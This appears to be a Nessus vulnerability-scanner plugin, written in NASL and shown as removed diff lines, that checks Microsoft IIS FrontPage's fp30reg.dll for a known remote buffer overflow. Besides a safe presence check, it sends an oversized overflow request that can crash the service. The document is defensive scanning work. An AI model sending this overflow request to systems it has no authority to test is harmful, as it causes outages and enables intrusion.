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- #
- # This script was written by John Lampe <j_lampe@bellsouth.net>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10699);
- script_bugtraq_id(2906);
- script_cve_id("CVE-2001-0341");
- script_version ("$Revision: 1.28 $");
-
- name["english"] = "IIS FrontPage DoS II";
- script_name(english:name["english"]);
-
- desc["english"] = "
- Microsoft IIS, running Frontpage extensions, is vulnerable to a remote
- buffer overflow attack. An attacker, exploiting this bug, may gain
- access to confidential data, critical business processes, and
- elevated privileges on the attached network.
-
- Solution : Install either SP4 for Windows 2000 or apply the fix described
- in Microsoft Bulletin MS03-051
-
- See also : http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx
-
- Risk factor : High";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Attempts to overflow the fp30reg.dll dll";
- script_summary(english:summary["english"]);
- script_category(ACT_DESTRUCTIVE_ATTACK); # mixed
- script_copyright(english:"This script is Copyright (C) 2001 John Lampe");
- family["english"] = "Gain root remotely";
- family["francais"] = "Passer root α distance";
- script_family(english:family["english"],
- francais:family["francais"]);
- script_dependencie("find_service.nes", "http_version.nasl", "www_fingerprinting_hmap.nasl");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- sig = get_kb_item("www/hmap/" + port + "/description");
- if ( sig && "IIS" >!< sig )
- exit(0);
-
-
-
- if(safe_checks())
- {
- if ( "Win2000 SP4" >< sig )
- exit(0);
- if(is_cgi_installed_ka(item:"/_vti_bin/_vti_aut/fp30reg.dll", port:port))
- {
- alrt = "
- The CGI /_vti_bin/_vti_aut/fp30reg.dll is installed.
- Some versions of this CGI are vulnerable to a buffer
- overflow that would allow a remote attacker to execute
- arbitrary code on this host.
-
- See http://www.nsfocus.com/english/homepage/sa01-03.htm for
- details.
-
- *** Nessus reports this vulnerability using only
- *** information that was gathered. Use caution
- *** when testing without safe checks enabled.
-
- Risk factor : High
-
- Solution : Install Service Pack 4 for Windows 2000 or see Bulletin MS03-051
-
- See also : http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx";
-
- security_hole(port:port, data:alrt);
- }
- exit(0);
- }
-
-
-
-
- #Make sure app is alive...
- mystring = string("HEAD / HTTP/1.0\r\n\r\n");
- if(get_port_state(port))
- {
- mysoc = open_sock_tcp(port);
- if (! mysoc)
- exit(0);
- send(socket:mysoc, data:mystring);
- incoming = http_recv(socket:mysoc);
- if(!incoming)
- exit(0);
- close(mysoc);
- }
-
-
- mystring= string ("GET /_vti_bin/_vti_aut/fp30reg.dll?" , crap(260), " HTTP/1.0\r\n\r\n");
- if(get_port_state(port))
- {
- mysoc = open_sock_tcp(port);
- if (! mysoc)
- exit(0);
- send(socket:mysoc, data:mystring);
- incoming=http_recv(socket:mysoc);
- match = egrep(pattern:".*The remote procedure call failed*" , string:incoming);
- if(match)
- security_hole(port);
- close (mysoc);
- }
-
-